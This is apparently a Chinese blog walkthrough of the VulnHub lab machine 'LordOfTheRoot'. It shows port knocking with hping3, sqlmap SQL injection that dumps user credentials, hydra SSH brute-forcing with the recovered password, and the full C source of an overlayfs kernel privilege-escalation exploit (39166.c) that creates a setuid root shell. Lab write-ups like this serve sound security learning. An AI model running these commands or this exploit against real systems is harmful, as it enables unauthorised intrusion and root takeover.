LordOfTheRoot靶机


LordOfTheRoot靶机:https://www.vulnhub.com/entry/lord-of-the-root-101,129/

信息收集,锁定靶机IP:192.168.221.150,nmap扫描发现其只开了一个22端口。

那我们只能先连接看看,看到上面的提示,上面标记的地方表示要用knock来进行敲击才能打开另外的端口(和IMF靶机一样的操作)我们当然也可以使用ping命令

hping3 -S 192.168.182.146 -p 1 -c 1
hping3 -S 192.168.182.146 -p 2 -c 1
hping3 -S 192.168.182.146 -p 3 -c 1

Hping是一个命令行下使用的TCP/IP数据包组装/分析工具,但是它不是只能发送ICMP回应请求,它还可以支持TCP、UDP、ICMP和RAW-IP协议。

-c –count 指定数据包的次数

操作完之后,防火墙会修改规则,此时再用nmap扫描,发现了1337端口运行着http服务(这里建议全扫描,不然发现不了)

访问此端口,老规矩,查看源代码发现啥也没有。没有头绪,我们就扫一下这个网站的目录。看看有没有新发现。发现一个robots.txt。查看网页源代码,发现有提示信息。应该为base64加密。经过一层解密,发现还是base64加密密文,然后经过二次解密。

发现新的网页,访问。是个登录页面。发现没有任何提示,看到这里试下弱口令无果。可能存在SQL注入。

使用SQLmap跑一下,这边是post请求,我们就不抓包了。使用另一种注入表单的形式测试,但是比较慢

sqlmap -u http://192.168.221.150:1337/978345210/index.php --forms -D Webapp -T Users -C id,username,password --dump-all --batch

--forms 在目标URL上解析和测试表单。

-D 指定从某个数据库查询数据。

-C 指定从某个列查询数据

得到对应的用户名和密码就去用ssh去登陆目标靶机,这里使用hydra爆破。最终得到用户名 smeagol 密码MyPreciousR00t是可以登陆ssh的

成功登录进去后,提权,这里是Ubuntu14.04,怀疑和Tr0ll靶机利用差不多的提权漏洞。但是其不让执行文件

那就只能另辟蹊径

Linux内核提权

经过搜索引擎,我们使用39166.c进行提权,并提权成功

#include <stdio.h>
#include <sched.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#include <sys/wait.h>

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    system("rm -rf /tmp/haxhax");
    mkdir("/tmp/haxhax", 0777);
    mkdir("/tmp/haxhax/w", 0777);
    mkdir("/tmp/haxhax/u",0777);
    mkdir("/tmp/haxhax/o",0777);

    if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
	fprintf(stderr,"mount failed..\n");
    }

    chmod("/tmp/haxhax/w/work",0777);
    chdir("/tmp/haxhax/o");
    chmod("bash",04755);
    chdir("/");
    umount("/tmp/haxhax/o");
    return 0;
}

int
main(int argc, char **argv)
{
    int status;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;
    struct stat s;

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    stat("/tmp/haxhax/u/bash",&s);

    if(s.st_mode == 0x89ed)
        execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);

    fprintf(stderr,"couldn't create suid :(\n");
    return -1;
}

缓冲区溢出提权

未能提权成功,日后好好学学缓冲区溢出漏洞。


文章作者: 小小星仔
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 小小星仔 !
评论
  目录